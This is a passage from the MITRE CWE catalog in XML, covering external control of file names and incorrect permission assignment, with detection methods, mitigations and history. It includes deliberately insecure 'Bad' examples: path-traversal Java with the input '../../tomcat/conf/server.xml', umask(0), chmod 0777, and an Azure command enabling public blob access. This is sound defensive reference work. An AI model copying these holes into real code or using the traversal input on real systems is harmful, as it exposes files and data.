               <Intro_Text>The following code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as "../../tomcat/conf/server.xml", which causes the application to delete one of its own configuration files (CWE-22).</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>String rName = request.getParameter("reportName");<xhtml:br/>File rFile = new File("/usr/local/apfr/reports/" + rName);<xhtml:br/>...<xhtml:br/>rFile.delete();</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-66">
               <Intro_Text>The following code uses input from a configuration file to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can change the configuration file, they can use the program to read any file on the system that ends with the extension .txt.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>fis = new FileInputStream(cfg.getProperty("sub")+".txt");<xhtml:br/>amt = fis.read(arr);<xhtml:br/>out.println(arr);</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2008-5748</Reference>
               <Description>Chain: external control of values for user's desired language and theme enables path traversal.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-5748</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-5764</Reference>
               <Description>Chain: external control of user's target language enables remote file inclusion.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-5764</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Path Manipulation</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP16</Entry_ID>
               <Entry_Name>Path Traversal</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="13"/>
            <Related_Attack_Pattern CAPEC_ID="267"/>
            <Related_Attack_Pattern CAPEC_ID="64"/>
            <Related_Attack_Pattern CAPEC_ID="72"/>
            <Related_Attack_Pattern CAPEC_ID="76"/>
            <Related_Attack_Pattern CAPEC_ID="78"/>
            <Related_Attack_Pattern CAPEC_ID="79"/>
            <Related_Attack_Pattern CAPEC_ID="80"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-6"/>
            <Reference External_Reference_ID="REF-45"/>
         </References>
         <Notes>
            <Note Type="Maintenance">CWE-114 is a Class, but it is listed a child of CWE-73 in view 1000. This suggests some abstraction problems that should be resolved in future versions.</Note>
            <Note Type="Relationship">
               <xhtml:p>The external control of filenames can be the primary link in chains with other file-related weaknesses, as seen in the CanPrecede relationships. This is because software systems use files for many different purposes: to execute programs, load code libraries, to store application data, to store configuration settings, record temporary data, act as signals or semaphores to other processes, etc.</xhtml:p>
               <xhtml:p>However, those weaknesses do not always require external control. For example, link-following weaknesses (CWE-59) often involve pathnames that are not controllable by the attacker at all.</xhtml:p>
               <xhtml:p>The external control can be resultant from other issues. For example, in PHP applications, the register_globals setting can allow an attacker to modify variables that the programmer thought were immutable, enabling file inclusion (CWE-98) and path traversal (CWE-22). Operating with excessive privileges (CWE-250) might allow an attacker to specify an input filename that is not directly readable by the attacker, but is accessible to the privileged program. A buffer overflow (CWE-119) might give an attacker control over nearby memory locations that are related to pathnames, but were not directly modifiable by the attacker.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Causal_Nature, Common_Consequences, Demonstrative_Examples, Description, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationship_Notes, Relationships, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Detection_Factors</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Likelihood_of_Exploit, Modes_of_Introduction, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, References, Relationships, Time_of_Introduction, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Detection_Factors, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Path Manipulation</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="732" Name="Incorrect Permission Assignment for Critical Resource" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors.</Description>
         <Extended_Description>When a resource is given a permission setting that provides access to a wider range of actors than required, it could lead to the exposure of sensitive information, or the modification of that resource by unintended parties. This is especially dangerous when the resource is related to program configuration, execution, or sensitive user data. For example, consider a misconfigured storage account for the cloud that can be read or written by a public or anonymous user.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="285" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="668" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
            <Technology Class="Cloud Computing" Prevalence="Often"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>
                  <xhtml:p>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</xhtml:p>
                  <xhtml:p>The developer might make certain assumptions about the environment in which the product operates - e.g., that the software is running on a single-user system, or the software is only accessible to trusted administrators. When the software is running in a different environment, the permissions become a problem.</xhtml:p>
               </Note>
            </Introduction>
            <Introduction>
               <Phase>Installation</Phase>
               <Note>The developer may set loose permissions in order to minimize problems when the user first runs the program, then create documentation stating that permissions should be tightened. Since system administrators and users do not always read the documentation, this can result in insecure permissions being left unchanged.</Note>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Read Files or Directories</Impact>
               <Note>An attacker may be able to read sensitive information from the associated resource, such as credentials or configuration information stored in a file.</Note>
            </Consequence>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>An attacker may be able to modify critical properties of the associated resource to gain privileges, such as replacing a world-writable executable with a Trojan horse.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Other</Scope>
               <Impact>Modify Application Data</Impact>
               <Impact>Other</Impact>
               <Note>An attacker may be able to destroy or corrupt critical data in the associated resource, such as deletion of records from a database.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Automated Static Analysis</Method>
               <Description>
                  <xhtml:p>Automated static analysis may be effective in detecting permission problems for system resources such as files, directories, shared memory, device interfaces, etc. Automated techniques may be able to detect the use of library functions that modify permissions, then analyze function calls for arguments that contain potentially insecure values.</xhtml:p>
                  <xhtml:p>However, since the software's intended security policy might allow loose permissions for certain operations (such as publishing a file on a web server), automated static analysis may produce some false positives - i.e., warnings that do not have any security consequences or require any code changes.</xhtml:p>
                  <xhtml:p>When custom permissions models are used - such as defining who can read messages in a particular forum in a bulletin board system - these can be difficult to detect using automated static analysis. It may be possible to define custom signatures that identify any custom functions that implement the permission checks and assignments.</xhtml:p>
               </Description>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Dynamic Analysis</Method>
               <Description>
                  <xhtml:p>Automated dynamic analysis may be effective in detecting permission problems for system resources such as files, directories, shared memory, device interfaces, etc.</xhtml:p>
                  <xhtml:p>However, since the software's intended security policy might allow loose permissions for certain operations (such as publishing a file on a web server), automated dynamic analysis may produce some false positives - i.e., warnings that do not have any security consequences or require any code changes.</xhtml:p>
                  <xhtml:p>When custom permissions models are used - such as defining who can read messages in a particular forum in a bulletin board system - these can be difficult to detect using automated dynamic analysis. It may be possible to define custom signatures that identify any custom functions that implement the permission checks and assignments.</xhtml:p>
               </Description>
            </Detection_Method>
            <Detection_Method Detection_Method_ID="DM-7">
               <Method>Manual Analysis</Method>
               <Description>This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.</Description>
               <Effectiveness_Notes>These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.</Effectiveness_Notes>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis</Method>
               <Description>Manual static analysis may be effective in detecting the use of custom permissions models and functions. The code could then be examined to identifying usage of the related functions. Then the human analyst could evaluate permission assignments in the context of the intended security model of the software.</Description>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Dynamic Analysis</Method>
               <Description>Manual dynamic analysis may be effective in detecting the use of custom permissions models and functions. The program could then be executed with a focus on exercising code paths that are related to the custom permissions. Then the human analyst could evaluate permission assignments in the context of the intended security model of the software.</Description>
            </Detection_Method>
            <Detection_Method>
               <Method>Fuzzing</Method>
               <Description>Fuzzing is not effective in detecting this weakness.</Description>
            </Detection_Method>
            <Detection_Method Detection_Method_ID="DM-11.1">
               <Method>Black Box</Method>
               <Description>
                  <xhtml:p>Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.</xhtml:p>
                  <xhtml:p>Attach the monitor to the process and watch for library functions or system calls on OS resources such as files, directories, and shared memory. Examine the arguments to these calls to infer which permissions are being used.</xhtml:p>
               </Description>
               <Effectiveness_Notes>Note that this technique is only useful for permissions issues related to system resources. It is not likely to detect application-level business rules that are related to permissions, such as if a user of a blog system marks a post as "private," but the blog system inadvertently marks it as "public."</Effectiveness_Notes>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inter-application Flow Analysis</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Binary / Bytecode disassembler - then use manual analysis for vulnerabilities &amp; anomalies</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Automated Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Host-based Vulnerability Scanners - Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria</xhtml:li>
                           <xhtml:li>Web Application Scanner</xhtml:li>
                           <xhtml:li>Web Services Scanner</xhtml:li>
                           <xhtml:li>Database Scanners</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Manual Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Host Application Interface Scanner</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Fuzz Tester</xhtml:li>
                           <xhtml:li>Framework-based Fuzzer</xhtml:li>
                           <xhtml:li>Automated Monitored Execution</xhtml:li>
                           <xhtml:li>Forced Path Execution</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Focused Manual Spotcheck - Focused manual analysis of source</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Configuration Checker</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Formal Methods / Correct-By-Construction</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>When using a critical resource such as a configuration file, check to see if the resource has insecure permissions (such as being modifiable by any regular user) [REF-62], and generate an error or even exit the software if there is a possibility that the resource could have been modified by an unauthorized party.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully defining distinct user groups, privileges, and/or roles. Map these against data, functionality, and the related resources. Then set the permissions accordingly. This will allow you to maintain more fine-grained control over your resources. [REF-207]</Description>
               <Effectiveness>Moderate</Effectiveness>
               <Effectiveness_Notes>This can be an effective strategy. However, in practice, it may be difficult or time consuming to define these areas when there are many different resources or user types, or if the applications features change rapidly.</Effectiveness_Notes>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-22">
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Strategy>Sandbox or Jail</Strategy>
               <Description>
                  <xhtml:p>Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.</xhtml:p>
                  <xhtml:p>OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.</xhtml:p>
                  <xhtml:p>This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.</xhtml:p>
                  <xhtml:p>Be careful to avoid CWE-243 and other weaknesses related to jails.</xhtml:p>
               </Description>
               <Effectiveness>Limited</Effectiveness>
               <Effectiveness_Notes>The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.</Effectiveness_Notes>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Phase>Installation</Phase>
               <Description>During program startup, explicitly set the default permissions or umask to the most restrictive setting possible. Also set the appropriate permissions during program installation. This will prevent you from inheriting insecure permissions from any user who installs or runs the program.</Description>
               <Effectiveness>High</Effectiveness>
            </Mitigation>
            <Mitigation>
               <Phase>System Configuration</Phase>
               <Description>For all configuration files, executables, and libraries, make sure that they are only readable and writable by the software's administrator.</Description>
               <Effectiveness>High</Effectiveness>
            </Mitigation>
            <Mitigation>
               <Phase>Documentation</Phase>
               <Description>Do not suggest insecure configuration changes in documentation, especially if those configurations can extend to resources and other programs that are outside the scope of the application.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Installation</Phase>
               <Description>Do not assume that a system administrator will manually change the configuration to the settings that are recommended in the software's manual.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-37">
               <Phase>Operation</Phase>
               <Phase>System Configuration</Phase>
               <Strategy>Environment Hardening</Strategy>
               <Description>Ensure that the software runs properly under the United States Government Configuration Baseline (USGCB) [REF-199] or an equivalent hardening configuration guide, which many organizations use to limit the attack surface and potential risk of deployed software.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Phase>System Configuration</Phase>
               <Phase>Operation</Phase>
               <Description>When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to disable public access.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following code sets the umask of the process to 0 before creating a file and writing "Hello world" into the file.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>#define OUTFILE "hello.out"<xhtml:br/>
                     <xhtml:br/>umask(0);<xhtml:br/>FILE *out;<xhtml:br/>
                     <xhtml:i>/* Ignore link following (CWE-59) for brevity */</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>out = fopen(OUTFILE, "w");<xhtml:br/>if (out) {<xhtml:div style="margin-left:1em;">fprintf(out, "hello world!\n");<xhtml:br/>fclose(out);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>After running this program on a UNIX system, running the "ls -l" command might return the following output:</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>-rw-rw-rw- 1 username 13 Nov 24 17:58 hello.out</xhtml:div>
               </Example_Code>
               <Body_Text>The "rw-rw-rw-" string indicates that the owner, group, and world (all users) can read the file and write to it.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>This code creates a home directory for a new user, and makes that user the owner of the directory. If the new directory cannot be owned by the user, the directory is deleted.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>function createUserDir($username){<xhtml:div style="margin-left:1em;">$path = '/home/'.$username;<xhtml:br/>if(!mkdir($path)){<xhtml:div style="margin-left:1em;">return false;</xhtml:div>}<xhtml:br/>if(!chown($path,$username)){<xhtml:div style="margin-left:1em;">rmdir($path);<xhtml:br/>return false;</xhtml:div>}<xhtml:br/>return true;</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Because the optional "mode" argument is omitted from the call to mkdir(), the directory is created with the default permissions 0777. Simply setting the new user as the owner of the directory does not explicitly change the permissions of the directory, leaving it with the default. This default allows any user to read and write to the directory, allowing an attack on the user's files. The code also fails to change the owner group of the directory, which may result in access by unexpected groups.</Body_Text>
               <Body_Text>This code may also be vulnerable to Path Traversal (CWE-22) attacks if an attacker supplies a non alphanumeric username.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following code snippet might be used as a monitor to periodically record whether a web site is alive. To ensure that the file can always be modified, the code uses chmod() to make the file world-writable.</Intro_Text>
               <Example_Code Nature="Bad" Language="Perl">
                  <xhtml:div>$fileName = "secretFile.out";<xhtml:br/>
                     <xhtml:br/>if (-e $fileName) {<xhtml:div style="margin-left:1em;">chmod 0777, $fileName;</xhtml:div>}<xhtml:br/>
                     <xhtml:br/>my $outFH;<xhtml:br/>if (! open($outFH, "&gt;&gt;$fileName")) {<xhtml:div style="margin-left:1em;">ExitError("Couldn't append to $fileName: $!");</xhtml:div>}<xhtml:br/>my $dateString = FormatCurrentTime();<xhtml:br/>my $status = IsHostAlive("cwe.mitre.org");<xhtml:br/>print $outFH "$dateString cwe status: $status!\n";<xhtml:br/>close($outFH);</xhtml:div>
               </Example_Code>
               <Body_Text>The first time the program runs, it might create a new file that inherits the permissions from its environment. A file listing might look like:</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>-rw-r--r-- 1 username 13 Nov 24 17:58 secretFile.out</xhtml:div>
               </Example_Code>
               <Body_Text>This listing might occur when the user has a default umask of 022, which is a common setting. Depending on the nature of the file, the user might not have intended to make it readable by everyone on the system.</Body_Text>
               <Body_Text>The next time the program runs, however - and all subsequent executions - the chmod will set the file's permissions so that the owner, group, and world (all users) can read the file and write to it:</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>-rw-rw-rw- 1 username 13 Nov 24 17:58 secretFile.out</xhtml:div>
               </Example_Code>
               <Body_Text>Perhaps the programmer tried to do this because a different process uses different permissions that might prevent the file from being updated.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>This program creates and reads from an admin file to determine privilege information.</Intro_Text>
               <Body_Text>If the admin file doesn't exist, the program will create one. In order to create the file, the program must have write privileges to write to the file. After the file is created, the permissions need to be changed to read only.</Body_Text>
               <Example_Code Nature="Bad" Language="Go">
                  <xhtml:div>
                  const adminFile = "/etc/admin-users"<xhtml:br/>
                  func createAdminFileIfNotExists() error {
                     <xhtml:div style="margin-left:1em;">
                        file, err := os.Create(adminFile)<xhtml:br/>
                        if err != nil {<xhtml:br/>
                        <xhtml:div style="margin-left:1em;">
                           return err
                        </xhtml:div>
                        }<xhtml:br/>
                        return nil</xhtml:div>
                  }</xhtml:div>
                  <xhtml:br/>
                  <xhtml:div>
                  func changeModeOfAdminFile() error {
                     <xhtml:div style="margin-left:1em;">
                        fileMode := os.FileMode(0440)<xhtml:br/>
                        if err := os.Chmod(adminFile, fileMode); err != nil {<xhtml:br/>
                        <xhtml:div style="margin-left:1em;">
                           return err
                        </xhtml:div>
                        }<xhtml:br/>
                        return nil</xhtml:div>
                  }</xhtml:div>
               </Example_Code>
               <Body_Text>os.Create will create a file with 0666 permissions before umask if the specified file does not exist. A typical umask of 0022 would result in the file having 0644 permissions. That is, the file would have world-writable and world-readable permissions.</Body_Text>
               <Body_Text>In this scenario, it is advised to use the more customizable method of os.OpenFile with the os.O_WRONLY and os.O_CREATE flags specifying 0640 permissions to create the admin file.</Body_Text>
               <Body_Text>This is because on a typical system where the umask is 0022, the perm 0640 applied in os.OpenFile will result in a file of 0620 where only the owner and group can write.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following command recursively sets world-readable permissions for a directory and all of its children:</Intro_Text>
               <Example_Code Nature="Bad" Language="Shell">
                  <xhtml:div>chmod -R ugo+r DIRNAME</xhtml:div>
               </Example_Code>
               <Body_Text>If this command is run from a program, the person calling the program might not expect that all the files under the directory will be world-readable. If the directory is expected to contain private data, this could become a security problem.</Body_Text>
            </Demonstrative_Example>
	    <Demonstrative_Example Demonstrative_Example_ID="DX-160">
	      <Intro_Text>The following Azure command updates the settings for a storage account:</Intro_Text>
	      <Example_Code Nature="Bad" Language="Shell">
		<xhtml:div>az storage account update --name &lt;storage-account&gt; --resource-group &lt;resource-group&gt; --allow-blob-public-access true</xhtml:div>
	      </Example_Code>
	      <Body_Text>However, "Allow Blob Public Access" is set to true, meaning that anonymous/public users can access blobs.</Body_Text>
	      <Body_Text>The command could be modified to disable "Allow Blob Public Access" by setting it to false.</Body_Text>
	      <Example_Code Nature="Good" Language="Shell">
		<xhtml:div>az storage account update --name &lt;storage-account&gt; --resource-group &lt;resource-group&gt; --allow-blob-public-access false</xhtml:div>
	      </Example_Code>
	    </Demonstrative_Example>
	    <Demonstrative_Example Demonstrative_Example_ID="DX-161">
	      <Intro_Text>The following Google Cloud Storage command gets the settings for a storage account named 'BUCKET_NAME':</Intro_Text>
	      <Example_Code Nature="Informative" Language="Shell">
		<xhtml:div>
		  gsutil iam get gs://BUCKET_NAME<xhtml:br/>
